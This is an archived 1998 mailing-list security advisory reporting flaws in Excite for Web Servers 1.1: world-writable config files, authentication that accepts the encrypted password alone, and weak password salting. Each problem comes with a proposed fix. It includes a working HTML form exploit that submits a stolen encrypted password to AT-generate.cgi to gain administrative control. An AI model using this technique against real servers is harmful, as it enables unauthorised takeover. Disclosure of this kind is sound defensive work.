TUCoPS :: Web :: General

TUCoPS :: Web :: General :: excite~1.txt
Security Bugs in Excite for Web Servers 1.1


Date:         Mon, 30 Nov 1998 17:20:04 -0600
From:         Michael Gerdts <gerdts@CAE.WISC.EDU>
Subject:      Security bugs in Excite for Web Servers 1.1

On November 11 I reported the folloing problmes to ewsbugs@excite.com.  I
have only recieved an automated reply.

I have found numerous security concerns with EWS 1.1 which can lead to an
ordinary user being able to gain control over EWS.

Problem: The installation program installs several files with world-write
    permissions.  This is bad because one of them (Architext.conf)
    contains the encrypted password which is used for all authentication.
    Because of this, any user with shell or non-anonymous FTP access
    to the web server could modify the encrypted password.

Solution: At install time, ask the administrator for the username or uid
    that CGI scripts are run as.  Make the excite installation directory
    restrictive enough such that only this user can get into the directory
    and make sure that no files are world-writable.  Because of other
    concerns (such as dictionary attacks) this file should not be
    world-readable.

Problem: All authentication after the initial access to AT-admin.cgi relies
    solely on the encrypted password.  Since any user with shell or FTP
    access can read Architext.conf, it is trivial for local users to
    gain administrative privileges over EWS.  Thus, a user only needs to
    have a web page that looks like:

        <html> <head><title>exploit</title>
        <body>
        <p><FORM ACTION="http://EWS.SERVER.COM/cgi-bin/AT-generate.cgi" METHOD=POST>
        <INPUT TYPE="hidden" NAME="db" VALUE="personal">
        <INPUT TYPE="submit" NAME="Reload" VALUE="Reload">
        Reload this page, in case the log file or status  has changed.
        <INPUT TYPE="hidden" NAME="Dump" VALUE="dummy">
        <INPUT TYPE="hidden" NAME="File" VALUE="/usr/local/etc/excite/collections/AT-personal.prog">
        <INPUT TYPE="hidden" NAME="Type" VALUE="progress">
        <INPUT TYPE="hidden" NAME="ENCRYPTEDPASS" VALUE="ENCRYPTEDPASS">
        </FORM><BR>
        </body>
        </html>

    Of course you should replace EWS.SERVER.COM and ENCRYPTEDPASS with
    values that make sense for your situation.  By accessing this page
    and clicking on the button you get to a menu that behaves exactly
    as if you knew the unencrypted password.

Solution: I am not an expert in web security.  There certainly must be
    better solutions.

Problem:  Passwords are not encrypted properly.  Note that the first
    two characters of the encrypted password are always the first two
    characters of the plain-text password.  For example, if you choose
    the password "blah", the encrypted password is "blk1x.w.ISlDw".

    In light of the fact that the plain-text password is not needed for
    adminstrative control (above), this problem is not that significant.
    Since this same password may be used other places it should be
    protected better.  If a dictionary attack for the password is
    done, only those words that start with "bl" need be examined.
    If a brute force attack is used, the number of guesses goes down
    significantly

Solution:  Encrypt passwords using random salts.  Even using "aa" as the
    salt in every case would be more secure.

--
Michael Gerdts
UNIX Systems Administrator
Computer-Aided Engineering Center
University of Wisconsin - Madison